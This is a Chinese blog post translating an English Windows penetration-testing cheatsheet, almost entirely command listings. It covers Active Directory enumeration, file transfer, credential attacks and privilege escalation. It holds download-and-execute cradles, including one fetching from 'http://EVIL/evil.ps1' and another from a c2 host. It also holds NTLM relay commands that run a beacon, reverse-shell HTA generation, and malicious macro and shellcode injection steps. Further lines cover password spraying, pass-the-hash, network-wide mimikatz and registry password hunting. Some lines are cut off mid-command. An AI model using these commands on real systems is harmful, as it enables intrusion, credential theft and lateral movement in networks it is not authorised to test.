

渗透测试

Windows Notes

📅 发表于 2019-10-11 | 🔄 更新于 2019-11-15 | 🖨️ 主机安全

字数总计: 9.1k | 阅读时长≈: 55 分钟 | °C: 36

0x00 前言

本文为翻译文章，为了记录在对Windows系统进行渗透测试过程中的一些命令和知识。

原文链接：<https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html>

0x01 列举

1.1 基本命令

code



```
1 net users
2 net users /domain
3 net localgroup
4 net groups /domain
5 net groups /domain "Domain Admins"
6
7 Get-ADUser
8 Get-Domain
9 Get-DomainUser
10 Get-DomainGroup
11 Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController 10.10.14.10
12 Find-DomainShare
13
14
15 #Host Discovery
16 netdiscover -r subnet/24
17 nbtscan -r [range]
18 for /L %i in (1,1,255) do @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL
19
20
21 #Reverse DNS Lookup
22 $ComputerIPAddress = "10.10.14.14"
23 [System.Net.Dns]::GetHostEntry($ComputerIPAddress).HostName
```

<https://github.com/tevora-threat/SharpView>

1.1.1 具有SPN的用户

code



```
1 Get-DomainUser -SPN
2
3 Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSys
4 PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
```

1.1.2 Kerberos枚举

code



```
1 nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
```

1.1.3 红队CSharp脚本

code



```
1 #https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts
2
3 LDAPUtility.cs
4
5 Usage: ldaputility.exe options domain [arguments]
6
7 ldaputility.exe DumpAllUsers m0chan
8 ldaputility.exe DumpUser m0chan mr.un1k0d3r
9 ldaputility.exe DumpUsersEmail m0chan
10 ldaputility.exe DumpAllComputers m0chan
11 ldaputility.exe DumpComputer m0chan DC01
12 ldaputility.exe DumpAllGroups m0chan
```

```
13 ldaputility.exe DumpGroup m0chan "Domain Admins"
14 ldaputility.exe DumpPasswordPolicy m0chan
15
16 Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.
17
18 See github linked above for full details.
```

1.1.4 活动目录

code



```
1 nltest /DCLIST:DomainName
2 nltest /DCNAME:DomainName
3 nltest /DSGETDC:DomainName
4
5 # Get Current Domain Info - Similar to Get-Domain
6 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
7
8 # Get Domain Trust Info - Similar to Get-DomainTrust
9 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
10
11 # View Domain Info
12 [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
13
14 # View Domain Trust Information
15 ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.Ac
16
17 nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v
18
19 nltest /dsgetfti:<domain>
20
21 nltest /server:<ip_dc> /domain_trusts /all_trusts
22
```

```
23 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
24
25 # View All Domain Controllers
26 nltest /dclist:offense.local
27 net group "domain controllers" /domain
28
29 # View DC for Current Session
30 nltest /dsgetdc:m0chanAD.local
31
32 # View Domain Trusts from CMD
33 nltest /domain_trusts
34
35 # View User Info from CMD
36 nltest /user:"m0chan"
37
38 # get domain name and DC the user authenticated to
39 klist
40
41 # Get All Logged on Sessions, Includes NTLM & Kerberos
42 klist sessions
43
44 # View Kerb Tickets
45 klist
46
47 # View Cached Krbtgt
48 klist tgt
49
50 # whoami on older Windows systems
51 set u
52
53 #List all Usernames
54 ([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAll().Properties.samaccountname
55
```

```
56 #List Administrators
57
58 ([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname
59
60 #List all Info about Specific User
61
62 ([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))").FindAll().Properties
63
64 #View All Users with Description Field Set
65
66 ([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.s
```

1.1.5 从Linux Box进行AD枚举-AD工具

code



```
1 #https://github.com/jasonwbarnett/linux-adtool
2
3 tar zxvf adtools-1.x.tar.gz
4 cd adtools-1.x
5 ./configure
6 make
7 make install
8
9 > adtool list ou=user,dc=example,dc=com
10 CN=allusers,OU=user,DC=example,DC=com
11 OU=finance,OU=user,DC=example,DC=com
12 OU=administration,OU=user,DC=example,DC=com
13
14 > adtool oucreate marketing ou=user,dc=example,dc=com
15 > adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
16 > adtool setpass jsmith banana
```

```
17 > adtool unlock jsmith
18 > adtool groupadd allusers jsmith
19 > adtool attributereplace jsmith telephonenumber 123
20 > adtool attributereplace jsmith mail jsmith@example.com
```

1.1.6 SharpView枚举

code



```
1 #https://github.com/tevora-threat/SharpView
2
3 Get-DomainFileServer
4 Get-DomainGPOUserLocalGroupMapping
5 Find-GPOLocation
6 Get-DomainGPOComputerLocalGroupMapping
7 Find-GPOComputerAdmin
8 Get-DomainObjectAcl
9 Get-ObjectAcl
10 Add-DomainObjectAcl
11 Add-ObjectAcl
12 Remove-DomainObjectAcl
13 Get-RegLoggedOn
14 Get-LoggedOnLocal
15 Get-NetRDPSession
16 Test-AdminAccess
17 Invoke-CheckLocalAdminAccess
18 Get-WMIProcess
19 Get-NetProcess
20 Get-WMIRegProxy
21 Get-Proxy
22 Get-WMIRegLastLoggedOn
23 Get-LastLoggedOn
24 Get-WMIRegCachedRDPConnection
```

```
25 Get-CachedRDPConnection
26 Get-WMIRegMountedDrive
27 Get-RegistryMountedDrive
28 Find-InterestingDomainAcl
29 Invoke-ACLScanner
30 Get-NetShare
31 Get-NetLoggedon
```

1.1.7 SMB枚举

code



```
1 nmap -p 139,445 --script smb.nse,smb-enum-shares,smbfs
2 enum4linux 1.3.3.7
3 smbmap -H 1.3.3.7
4 smbclient -L \\INSERTIPADDRESS
5 smbclient -L INSERTIPADDRESS
6 smbclient //INSERTIPADDRESS/tmp
7 smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
8 smbclient //INSERTIPADDRESS/ipc$ -U john
9 smbclient //INSERTIPADDRESS/admin$ -U john
10 nbtscan [SUBNET]
11
12
13 #Check for SMB Signing
14 nmap --script smb-security-mode.nse -p 445 10.10.14.14
```

1.1.8 SNMP枚举

code



```
1 snmpwalk -c public -v1 10.10.14.14
```



```
2 snmpcheck -t 10.10.14.14 -c public
3 onesixtyone -c names -i hosts
4 nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
5 snmpenum -t 10.10.14.14
```

1.1.9 MySQL枚举

code



```
1 nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-
```

1.1.10 DNS区域转移

code



```
1 dig axfr blah.com @ns1.m0chan.com
2 nslookup -> set type=any -> ls -d m0chan.com
3 dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

1.1.11 LDAP

code



```
1 ldapsearch -H ldap://<ip>
2 ldapwhoami
```

1.1.12 RPC枚举

code



```
1  rpcclient -U "10.10.14.14"
2  srvinfo
3  enumdomusers
4  enumalsgroups domain
5  lookupnames administrators
6  querydominfo
7  enumdomusers
8  queryuser <user>
9  lsaquery
10 lookupnames Guest
11 lookupnames Administrator
```

1.1.13 远程桌面

code



```
1  rdesktop -u guest -p guest INSERTIPADDRESS -g 94%
2
3  # Brute force
4  ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
```

0x02 文件传输

2.1 TFTP

code



```
1  m0chan Machine
2  mkdir tftp
3  atftpd --daemon --port 69 tftp
```

```
4 cp *file* tftp
5 On victim machine:
6 tftp -i <[IP]> GET <[FILE]>
```

2.2 FTP

code



```
1 echo open <[IP]> 21 > ftp.txt
2 echo USER demo >> ftp.txt
3 echo ftp >> ftp.txt
4 echo bin >> ftp.txt
5 echo GET nc.exe >> ftp.txt
6 echo bye >> ftp.txt
7 ftp -v -n -s:ftp.txt
```

2.3 VBS Script

code



```
1 echo strUrl = WScript.Arguments.Item(0) > wget.vbs
2 echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
3 echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
4 echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
5 echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
6 echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
7 echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
8 echo Err.Clear >> wget.vbs
9 echo Set http = Nothing >> wget.vbs
10 echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
11 echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
```

```
12 echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
13 echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
14 echo http.Open "GET",strURL,False >> wget.vbs
15 echo http.Send >> wget.vbs
16 echo varByteArray = http.ResponseBody >> wget.vbs
17 echo Set http = Nothing >> wget.vbs
18 echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
19 echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
20 echo strData = "" >> wget.vbs
21 echo strBuffer = "" >> wget.vbs
22 echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
23 echo ts.Write Chr(255 And AscB(MidB(varByteArray,lngCounter + 1,1))) >> wget.vbs
24 echo Next >> wget.vbs
25 echo ts.Close >> wget.vbs
26
27
28
29 cscript wget.vbs <url> <out_file>
30
31 Use echoup function on pentest.ws to generate echo commands.
32 https://pentest.ws/features
```

2.4 Powershell

code



```
1 #https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles
2
3 Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
4
5 (New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
6
```

```
7 #Powershell Download to Memory
8
9 IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
10
11 #Powershell with Proxy
12
13 $browser = New-Object System.Net.WebClient;
14 $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
15 IEX($browser.DownloadString('https://server/script.ps1'));
```

2.5 Powershell Base64

code



```
1 $fileName = "Passwords.kdbx"
2 $fileContent = get-content $fileName
3 $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
4 $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
5 $fileContentEncoded | set-content ($fileName + ".b64")
```

2.6 安全复制/ pscp.exe

code



```
1 pscp.exe C:\Users\Public\m0chan.txt user@target:/tmp/m0chan.txt
2 pscp.exe user@target:/home/user/m0chan.txt C:\Users\Public\m0chan.txt
```

2.7 BitsAdmin.exe

code

```
1 cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\m
```

2.8 Remote Desktop

code

```
1 rdesktop 10.10.10.10 -r disk:linux='/home/user/filetransferout'
```

2.9 WinHTTP Com Object

code

```
1 [System.Net.WebRequest]::DefaultWebProxy
2 [System.Net.CredentialCache]::DefaultNetworkCredentials
3 $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();i
```

2.10 CertUtil

code

```
1 #File Transfer
2
3 certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename
4
5 #CertUtil Base64 Transfers
6
```

```
7 certutil.exe -encode inputFileName encodedOutputFileName
8 certutil.exe -decode encodedInputFileName decodedOutputFileName
```

2.11 Curl (Windows 1803+)

code



```
1 curl http://server/file -o file
2 curl http://server/file.bat | cmd
3
4 IEX(curl http://server/script.ps1);Invoke-Blah
```

2.12 SMB

code



```
1 python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support
```

0x03 exploit

3.1 LLMNR / NBT-NS欺骗

code



```
1 #Responder to Steal Creds
2
3 git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0
4
5
```

```
6 LLMNR and NBT-NS is usually on by default and there purpose is to act as a fallback to DNS. i/e if you
7
8 'Yeah I'm HRSERVER, authenticate to me and I will get a NTLMv2 hash which I can crack or relay. More o
```

3.2 Responder WPAD Attack

code



```
1 responder -I eth0 wpad
2
3 By default, Windows is configured to search for a Web Proxy Auto-Discovery file when using the interne
4
5 Go to internet explorer and search for Google which automatically searches for a WPAD file...
6
7 Then take NTLMv2 hash and NTLM Relay it or send to cracking rig.
```

3.3 mitm6

code



```
1 #Use when WPAD attack is not working, this uses IPv6 and DNS to relay creds to a target.
2
3 By default IPV6 should be enabled.
4 git clone https://github.com/fox-it/mitm6.git
5 cd /opt/tools/mitm6
6 pip install .
7
8 mitm6 -d m0chanAD.local
9
10 Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS = controlled by attacker.
```



```
11
12 ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i
13
14 -i opens an interactive shell.
15
16 Shout out to hausec for this super nice tip.
```

3.4 SCF文件攻击

code



```
1 Create .scf file and drop inside SMB Share and fire up Responder ;)
2
3
4 Filename = @m0chan.scf
5
6 [Shell]
7 Command=2
8 IconFile=\\10.10.14.2\Share\test.ico
9 [Taskbar]
10 Command=ToggleDesktop
```

3.5 NTLM-Relay

code



```
1 Good article explaining differences between NTLM/Net-NTLMV1&V2
2
3 https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-unde
4
5 TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.
```

```
6
7 You CAN perform Pass-The-Hash attacks with NTLM hashes.
8 You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.
9
10 PS: You CANNOT relay a hash back to itself.
11 PS: SMB Signing must be disabled to mitigate this, you can check with nmap scan or crackmapexec
12
13 crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt
14
15 This will tell you a list of hosts within a subnet which do not have SMB Signing enabled.
16
17 python Responder.py -I <interface> -r -d -w
18 ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful)
19
20 How about we execute a command instead.
21
22 ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
23 ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP
```

3.6 私下交易

code



```
1 #https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
2
3 Combine privxchange.py and ntlmrelayx
4
5 ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE
6
7 python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE
```

3.7 Exchange Password Spray

code



```
1 #https://github.com/dafthack/MailSniper.git
2
3 Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter20
4
5
6 #https://github.com/sensepost/ruler
7
8 ./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v
```

3.8 ExchangeRelayX

code



```
1 #https://github.com/quickbreach/ExchangeRelayX
2
3 An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.
4
5
6 ./exchangeRelayx.py -t https://mail.quickbreach.com
```

3.9 Exchange Mailbox Post-Compromise

code



```
1 #https://github.com/dafthack/MailSniper.git
2
```

```
3 Enumerate GlobalAddressList
4
5 Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username jamie@m0chanAD.local -Password V
6
7 Enumerate AD Usernames
8
9 Get-ADUsernameFromEWS -Emaillist .\users.txt
10
11 Enumerate Mailbox Folders
12
13 Get-MailboxFolders -Mailbox jamie@m0chanAD.local
14
15 Enumerate Passwords & Credentials Stored in Emails
16
17 Invoke-SelfSearch -Mailbox jamie@m0chanAD.local
18
19 Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin
20
21 Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012
```

3.10 CrackMapExec

code

```
1 CrackMapExec is installed on Kali or get Windows Binary from Github.
2
3 Has 3 Execution Methods
4 crackmapexec smb <- Creating and Running a Service over SMB
5 crackmapexec wmi <- Executes command over WMI
6 crackmapexec at <- Schedules Task with Task Scheduler
7
8 Can execute plain commands with -X flag i/e
```

```
9
10 crackmapexec smb 10.10.14.0/24 -x whoami
11
12 crackmapexec smb 10.10.14.0/24 <- Host Discovery
13 crackmapexec smb 10.10.14.0/24 -u user -p 'Password'
14 crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
15 crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares
16
17
18 Can also PTH with CME
19
20 crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305dca15f4854e
21
22 cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e
23
24
25 --local-auth is for Authenticating with Local Admin, good if Organisation uses same local admin hash to
26
27 Dump Local SAM hashes
28
29 crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth --sam
30
31 Running Mimikatz
32
33 crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
34
35 ^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin
36
37 Enum AV Products
38
39 crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M enum_avproducts
```

3.11 邮件狙击手

code



```
1 Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019
2
3 [*] Now spraying the OWA portal at https://m0chanAD.local/owa/
4
5 [*] SUCCESS! User:m0chan:Summer2019
6
7 Lmao, you really think Id use the pass Summer2019?
```

3.12 Kerberos Stuff

code



```
1 #https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
2 #https://m0chan.github.io/Kerberos-Attacks-In-Depth
```

3.13 MSSQL利用 (PowerUpSQL)

code



```
1 #https://github.com/NetSPI/PowerUpSQL
2
3 #View SQL Instances
4 Get-SQLInstanceDomain [| Get-SQLServerInfo]
5
6 #Login in with Domain Account
7 Get-SQLConnectionTestThreaded
```

```
8
9 #Login in with Default Password
10 Get-SQLServerDefaultLoginPw
11
12 #List DB, Tables & Columns
13
14 Get-SQLInstanceDomain | Get-SQLDatabase
15 Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
16 Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>
17
18 #Search Column Names for Word
19
20 Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10
21
22 #Try to Execute Commands (RCE)
23
24 Invoke-SQLOSCmd
25
26
27 #Enable XP_CMDSHELL Process
28
29 EXEC sp_configure 'show advanced options', 1;
30 go
31 RECONFIGURE;
32 go
33 EXEC sp_configure 'xp_cmdshell', 1;
34 go
35 RECONFIGURE;
36 go
37 xp_cmdshell '<cmd>'
38 go
```

3.14 Malicious Macro with MSBuild

code



```
1 #https://github.com/infosecninja/MaliciousMacroMSBuild
2
3 #https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained
4
5 Creation of a Shellcode MSBuild VBA Macro
6 python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba
7
8 Creation of a PowerShell MSBuild VBA Macro
9 python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba
10
11 Creation of a Custom MSBuild VBA Macro
12 python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba
13
14 Creation of a Shellcode MSBuild VBA Macro With Kill Date
15 python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018
16
17 Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
18 python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
19 python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github
```

3.15 WeirdHTA - Undetectable HTA

code



```
1 #https://github.com/felamos/weirdhta
2
3 python3 --help
```



```
4 python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell)
5 python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb)
6 python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
7 python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\system32\cmd.exe' (custom command)
```

3.16 EvilWinRM

code



```
1 #https://github.com/Hackplayers/evil-winrm
2
3 Ultimate Shell for WinRM Connections
4
5 Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-S] [-S]
6     -S, --ssl                               Enable SSL
7     -c, --pub-key PUBLIC_KEY_PATH           Local path to public key certificate
8     -k, --priv-key PRIVATE_KEY_PATH         Local path to private key certificate
9     -s, --scripts PS_SCRIPTS_PATH          Powershell scripts local path
10    -e, --executables EXES_PATH              C# executables local path
11    -i, --ip IP                              Remote host IP or hostname (required)
12    -U, --url URL                            Remote url endpoint (default /wsman)
13    -u, --user USER                         Username (required)
14    -p, --password PASS                      Password
15    -P, --port PORT                         Remote host port (default 5985)
16    -V, --version                           Show version
17    -h, --help                               Display this help message
```

3.17 GetVulnerableGPO

code



```
1 #https://github.com/gpoguy/GetVulnerableGPO
2
3 PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more backgro
```

3.18 Invoke-PSImage

code



```
1 #https://github.com/peewpw/Invoke-PSImage
2
3 Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
4
5 Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG
6
7 PS>Import-Module .\Invoke-PSImage.ps1
8 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
9     [Oneliner to execute from a file]
10
11
12 PS>Import-Module .\Invoke-PSImage.ps1
13 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
14     [Oneliner to execute from the web]
```

3.17 Meterpreter + Donut-Shellcode注入.NET

code



```
1 #https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html
2
3 A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, refle
4
```

```
5 donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin
6
7 use post/windows/manage/shellcode_inject
8 set SHELLCODE /tmp/payload.bin
9 set SESSION 1
10 run
```

0x04 特权提升

参考: <https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>

运行此脚本: <https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat>

4.1 基本命令

code

```
1 systeminfo
2 wmic qfe
3 net users
4 hostname
5 whoami
6 net localgroups
7 echo %logonserver%
8 netsh firewall show state
9 netsh firewall show config
10 netstat -an
11 type C:\Windows\system32\drivers\etc\hosts
```

4.2 PowerUp.ps1（有时是快速获胜）

code



```
1 powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChe
```

4.3 锐化

code



```
1 #https://github.com/GhostPack/SharpUp
2
3 C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.
```

4.4 如果是公元，引进猎狗犬...

code



```
1 SharpHound.ps1
2 SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound
3
4 IEX(System.Net.WebClient.DownloadString('http://webserver:4444/SharpHound.ps1'))
5
6 Invoke-CollectionMethod All
7
8 Import .zip to Bloodhound
9
10 If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manual
```

4.5 Bloodhound-Python

code



```
1 git clone https://github.com/fox-it/BloodHound.py.git
2 cd BloodHound.py/ && pip install .
3
4 bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc DOMAINCONTROLLER.m0chanAD.local -c all
```

4.6 明文密码

code



```
1 # Windows autologin
2 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
3
4 # VNC
5 reg query "HKCU\Software\ORL\WinVNC3>Password"
6
7 # SNMP Parameters
8 reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
9
10 # Putty
11 reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
12
13 # Search for password in registry
14 reg query HKLM /f password /t REG_SZ /s
15 reg query HKCU /f password /t REG_SZ /s
```

4.7 查看已安装的软件

code



```
1 tasklist /SVC
2 net start
3 reg query HKEY_LOCAL_MACHINE\SOFTWARE
4 DRIVERQUERY
5
6 dir /a "C:\Program Files"
7 dir /a "C:\Program Files (x86)"
8 reg query HKEY_LOCAL_MACHINE\SOFTWARE
9
10 Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
11
12 Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

4.8 弱文件夹权限

code



```
1 Full Permissions for 'Everyone' on Program Folders
2
3 icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
4 icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
5
6 icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
7 icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
8
9 Modify Permissions for Everyone on Program Folders
10
```

```
11 icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
12 icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
13
14 icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
15 icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
```

4.9 计划任务

code



```
1 schtasks /query /fo LIST /v
```

4.10 Powershell历史

code



```
1 type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2 cat (Get-PSReadlineOption).HistorySavePath
3 cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

4.12 查看已连接的驱动器

code



```
1 net use
2 wmic logicaldisk get caption,description
3
4 Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root
```

4.13 查看隐私

code



```
1 whoami /priv
2
3 Look for SeImpersonate, SeDebugPrivilege etc
```

4.14 还有其他人登录吗？

code



```
1 qwinsta
```

4.15 查看注册表自动登录

code



```
1 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserNam
2
3 Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinL
```

4.16 在凭据管理器中查看存储的凭据

code



```
1 cmdkey /list
2 dir C:\Users\username\AppData\Local\Microsoft\Credentials\
```



```
3 dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\  
4  
5 Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\  
6 Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```

4.17 查看未引用的服务路径

code



```
1 wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:  
2  
3 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto"
```

4.18 查看启动项

code



```
1 wmic startup get caption,command  
2 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run  
3 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce  
4 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run  
5 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce  
6 dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"  
7 dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```

4.19 检查AlwaysInstalledElevated注册表项

code



```
1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2 Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
3 Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
4 reg query HKLM\Software\Policies\Microsoft\Windows\Installer
5 reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

4.20 注册表中有密码吗？

code



```
1 reg query HKCU /f password /t REG_SZ /s
2 reg query HKLM /f password /t REG_SZ /s
```

4.21 剩余的任何Sysprep或无人参与文件

code



```
1 dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
2
3 Get-Childitem -Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | w
```

4.22 GPP（组策略首选项）密码

code



```
1 smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan
2
3 \m0chanAD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\
4
```

```
5 http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v4.0.zip - For Decryption
6
7 Can also use PowerUP.ps1
```

4.23 转储Chrome密码（也发布漏洞利用程序）

code



```
1 #git clone https://github.com/rasta-mouse/CookieMonster
2
3 CookieMonster creds
